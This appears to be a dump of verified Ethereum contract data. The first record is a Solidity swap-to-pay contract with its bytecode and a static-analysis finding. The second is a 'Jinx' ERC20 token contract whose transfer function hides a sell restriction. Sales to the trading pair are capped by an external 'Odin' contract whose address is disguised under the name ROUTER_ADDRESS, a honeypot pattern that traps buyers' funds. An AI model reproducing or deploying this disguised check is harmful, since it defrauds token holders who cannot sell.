pragma solidity 0.5.17; interface IERC20FeeProxy { event TransferWithReferenceAndFee( address tokenAddress, address to, uint256 amount, bytes indexed paymentReference, uint256 feeAmount, address feeAddress ); function transferFromWithReferenceAndFee( address _tokenAddress, address _to, uint256 _amount, bytes calldata _paymentReference, uint256 _feeAmount, address _feeAddress ) external; } interface IUniswapV2Router02 { function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeERC20 { /** * @notice Call transferFrom ERC20 function and validates the return data of a ERC20 contract call. * @dev This is necessary because of non-standard ERC20 tokens that don't have a return value. * @return The return value of the ERC20 call, returning true for non-standard tokens */ function safeTransferFrom(IERC20 _token, address _from, address _to, uint256 _amount) internal returns (bool result) { // solium-disable-next-line security/no-low-level-calls (bool success, bytes memory data) = address(_token).call(abi.encodeWithSignature( "transferFrom(address,address,uint256)", _from, _to, _amount )); return success && (data.length == 0 || abi.decode(data, (bool))); } /** * @notice Call approve ERC20 function and validates the return data of a ERC20 contract call. * @dev This is necessary because of non-standard ERC20 tokens that don't have a return value. * @return The return value of the ERC20 call, returning true for non-standard tokens */ function safeApprove(IERC20 _token, address _spender, uint256 _amount) internal returns (bool result) { // solium-disable-next-line security/no-low-level-calls (bool success, bytes memory data) = address(_token).call(abi.encodeWithSignature( "approve(address,uint256)", _spender, _amount )); return success && (data.length == 0 || abi.decode(data, (bool))); } /** * @notice Call transfer ERC20 function and validates the return data of a ERC20 contract call. * @dev This is necessary because of non-standard ERC20 tokens that don't have a return value. * @return The return value of the ERC20 call, returning true for non-standard tokens */ function safeTransfer(IERC20 _token, address _to, uint256 _amount) internal returns (bool result) { // solium-disable-next-line security/no-low-level-calls (bool success, bytes memory data) = address(_token).call(abi.encodeWithSignature( 'transfer(address,uint256)', _to, _amount )); return success && (data.length == 0 || abi.decode(data, (bool))); } } contract ERC20SwapToPay is Ownable { using SafeERC20 for IERC20; IUniswapV2Router02 public swapRouter; IERC20FeeProxy public paymentProxy; constructor(address _swapRouterAddress, address _paymentProxyAddress) public { swapRouter = IUniswapV2Router02(_swapRouterAddress); paymentProxy = IERC20FeeProxy(_paymentProxyAddress); } /** * @notice Authorizes the proxy to spend a new request currency (ERC20). * @param _erc20Address Address of an ERC20 used as a request currency */ function approvePaymentProxyToSpend(address _erc20Address) public { IERC20 erc20 = IERC20(_erc20Address); uint256 max = 2**256 - 1; erc20.safeApprove(address(paymentProxy), max); } /** * @notice Authorizes the swap router to spend a new payment currency (ERC20). * @param _erc20Address Address of an ERC20 used for payment */ function approveRouterToSpend(address _erc20Address) public { IERC20 erc20 = IERC20(_erc20Address); uint256 max = 2**256 - 1; erc20.safeApprove(address(swapRouter), max); } /** * @notice Performs a token swap between a payment currency and a request currency, and then * calls a payment proxy to pay the request, including fees. * @param _to Transfer recipient = request issuer * @param _amount Amount to transfer in request currency * @param _amountInMax Maximum amount allowed to spend for currency swap, in payment currency. This amount should take into account the fees. @param _path, path of ERC20 tokens to swap from requestedToken to spentToken. The first address of the path should be the payment currency. The last element should be the request currency. * @param _paymentReference Reference of the payment related * @param _feeAmount Amount of the fee in request currency * @param _feeAddress Where to pay the fee * @param _deadline Deadline for the swap to be valid */ function swapTransferWithReference( address _to, uint256 _amount, // requestedToken uint256 _amountInMax, // spentToken address[] calldata _path, // from requestedToken to spentToken bytes calldata _paymentReference, uint256 _feeAmount, // requestedToken address _feeAddress, uint256 _deadline ) external { IERC20 spentToken = IERC20(_path[0]); IERC20 requestedToken = IERC20(_path[_path.length-1]); uint256 requestedTotalAmount = _amount + _feeAmount; require(spentToken.allowance(msg.sender, address(this)) > _amountInMax, "Not sufficient allowance for swap to pay."); require(spentToken.safeTransferFrom(msg.sender, address(this), _amountInMax), "Could not transfer payment token from swapper-payer"); // Allow the router to spend all this contract's spentToken if (spentToken.allowance(address(this),address(swapRouter)) < _amountInMax) { approveRouterToSpend(address(spentToken)); } swapRouter.swapTokensForExactTokens( requestedTotalAmount, _amountInMax, _path, address(this), _deadline ); // Allow the payment network to spend all this contract's requestedToken if (requestedToken.allowance(address(this),address(paymentProxy)) < requestedTotalAmount) { approvePaymentProxyToSpend(address(requestedToken)); } // Pay the request and fees paymentProxy.transferFromWithReferenceAndFee( address(requestedToken), _to, _amount, _paymentReference, _feeAmount, _feeAddress ); // Give the change back to the payer, in both currencies (only spent token should remain) if (spentToken.balanceOf(address(this)) > 0) { spentToken.safeTransfer(msg.sender, spentToken.balanceOf(address(this))); } if (requestedToken.balanceOf(address(this)) > 0) { requestedToken.safeTransfer(msg.sender, requestedToken.balanceOf(address(this))); } } /* * Admin functions to edit the admin, router address or proxy address */ function setPaymentProxy(address _paymentProxyAddress) public onlyOwner { paymentProxy = IERC20FeeProxy(_paymentProxyAddress); } function setRouter(address _newSwapRouterAddress) public onlyOwner { swapRouter = IUniswapV2Router02(_newSwapRouterAddress); } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80638da5cb5b116100665780638da5cb5b146102b6578063a09b241d14610300578063c0d7865514610344578063c31c9c0714610388578063f2fde38b146103d25761009e565b806330e175c9146100a35780633cd3efef146100e7578063715018a6146101315780637262b4c51461013b5780638d09fe2b1461017f575b600080fd5b6100e5600480360360208110156100b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610416565b005b6100ef610493565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101396104b9565b005b61017d6004803603602081101561015157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610641565b005b6102b4600480360361010081101561019657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803590602001906401000000008111156101e757600080fd5b8201836020820111156101f957600080fd5b8035906020019184602083028401116401000000008311171561021b57600080fd5b90919293919293908035906020019064010000000081111561023c57600080fd5b82018360208201111561024e57600080fd5b8035906020019184600183028401116401000000008311171561027057600080fd5b909192939192939080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061074e565b005b6102be61123b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103426004803603602081101561031657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611264565b005b6103866004803603602081101561035a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e1565b005b6103906113ee565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610414600480360360208110156103e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611414565b005b600081905060007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff905061048d600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828473ffffffffffffffffffffffffffffffffffffffff166116219092919063ffffffff16565b50505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6104c16117e4565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610582576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6106496117e4565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008787600081811061075d57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1690506000888860018b8b90500381811061079057fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1690506000858c0190508a8373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561086857600080fd5b505afa15801561087c573d6000803e3d6000fd5b505050506040513d602081101561089257600080fd5b8101908080519060200190929190505050116108f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611bce6029913960400191505060405180910390fd5b61092633308d8673ffffffffffffffffffffffffffffffffffffffff166117ec909392919063ffffffff16565b61097b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526033815260200180611bf76033913960400191505060405180910390fd5b8a8373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015610a4f57600080fd5b505afa158015610a63573d6000803e3d6000fd5b505050506040513d6020811015610a7957600080fd5b81019080805190602001909291905050501015610a9a57610a9983610416565b5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638803dbee828d8d8d308a6040518763ffffffff1660e01b815260040180878152602001868152602001806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281038252868682818152602001925060200280828437600081840152601f19601f820116905080830192505050975050505050505050600060405180830381600087803b158015610b8a57600080fd5b505af1158015610b9e573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015610bc857600080fd5b8101908080516040519392919084640100000000821115610be857600080fd5b83820191506020820185811115610bfe57600080fd5b8251866020820283011164010000000082111715610c1b57600080fd5b8083526020830192505050908051906020019060200280838360005b83811015610c52578082015181840152602081019050610c37565b5050505090500160405250505050808273ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015610d3457600080fd5b505afa158015610d48573d6000803e3d6000fd5b505050506040513d6020811015610d5e57600080fd5b81019080805190602001909291905050501015610d7f57610d7e82611264565b5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c219a14d838f8f8c8c8c8c6040518863ffffffff1660e01b8152600401808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001868152602001806020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281038252868682818152602001925080828437600081840152601f19601f82011690508083019250505098505050505050505050600060405180830381600087803b158015610ecc57600080fd5b505af1158015610ee0573d6000803e3d6000fd5b5050505060008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610f6357600080fd5b505afa158015610f77573d6000803e3d6000fd5b505050506040513d6020811015610f8d57600080fd5b8101908080519060200190929190505050111561108857611086338473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561102557600080fd5b505afa158015611039573d6000803e3d6000fd5b505050506040513d602081101561104f57600080fd5b81019080805190602001909291905050508573ffffffffffffffffffffffffffffffffffffffff166119e49092919063ffffffff16565b505b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561110757600080fd5b505afa15801561111b573d6000803e3d6000fd5b505050506040513d602081101561113157600080fd5b8101908080519060200190929190505050111561122c5761122a338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156111c957600080fd5b505afa1580156111dd573d6000803e3d6000fd5b505050506040513d60208110156111f357600080fd5b81019080805190602001909291905050508473ffffffffffffffffffffffffffffffffffffffff166119e49092919063ffffffff16565b505b50505050505050505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081905060007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90506112db600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828473ffffffffffffffffffffffffffffffffffffffff166116219092919063ffffffff16565b50505050565b6112e96117e4565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61141c6117e4565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611ba86026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060608573ffffffffffffffffffffffffffffffffffffffff168585604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040527f095ea7b3000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310611732578051825260208201915060208101905060208303925061170f565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611794576040519150601f19603f3d011682016040523d82523d6000602084013e611799565b606091505b50915091508180156117d957506000815114806117d857508080602001905160208110156117c657600080fd5b81019080805190602001909291905050505b5b925050509392505050565b600033905090565b60008060608673ffffffffffffffffffffffffffffffffffffffff16868686604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040516020818303038152906040527f23b872dd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310611931578051825260208201915060208101905060208303925061190e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611993576040519150601f19603f3d011682016040523d82523d6000602084013e611998565b606091505b50915091508180156119d857506000815114806119d757508080602001905160208110156119c557600080fd5b81019080805190602001909291905050505b5b92505050949350505050565b60008060608573ffffffffffffffffffffffffffffffffffffffff168585604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040527fa9059cbb000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310611af55780518252602082019150602081019050602083039250611ad2565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611b57576040519150601f19603f3d011682016040523d82523d6000602084013e611b5c565b606091505b5091509150818015611b9c5750600081511480611b9b5750808060200190516020811015611b8957600080fd5b81019080805190602001909291905050505b5b92505050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734e6f742073756666696369656e7420616c6c6f77616e636520666f72207377617020746f207061792e436f756c64206e6f74207472616e73666572207061796d656e7420746f6b656e2066726f6d20737761707065722d7061796572a265627a7a72315820a1c5c397c78aa277f69a091db0d57741487daca2501223e464c7eaa86198dda764736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,883
0xbF3670E94955caf2a9b0B426fF191cAd75335903
//SPDX-License-Identifier: MIT // Telegram: t.me/JinxToken pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet uint256 constant TOTAL_SUPPLY=100000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Jinx"; string constant TOKEN_SYMBOL="JINX"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Jinx is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
